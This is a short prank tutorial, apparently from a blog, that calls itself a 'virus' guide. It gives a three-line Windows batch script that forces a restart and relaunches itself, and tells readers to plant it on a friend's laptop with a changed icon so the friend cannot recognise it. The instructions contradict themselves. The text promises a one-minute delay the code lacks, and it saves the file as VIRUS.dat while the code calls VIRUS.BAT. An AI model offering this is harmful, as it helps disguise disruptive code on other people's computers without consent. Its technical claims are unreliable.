This virus shutdown the laptop after one minute.
If you want to disturb your friend, make it in notepad of your friends Laptop and change its icon from which your friend can not know that this is the virus on his Laptop/PC.

Follow step by step:-
1)Open notepad
2)Type the below code on notepad

@echo off
START VIRUS.BAT
SHUTDOWN -R

3)save it as VIRUS.dat

After making this virus,double click on it and it will shutdown the Laptop/PC and then Restart.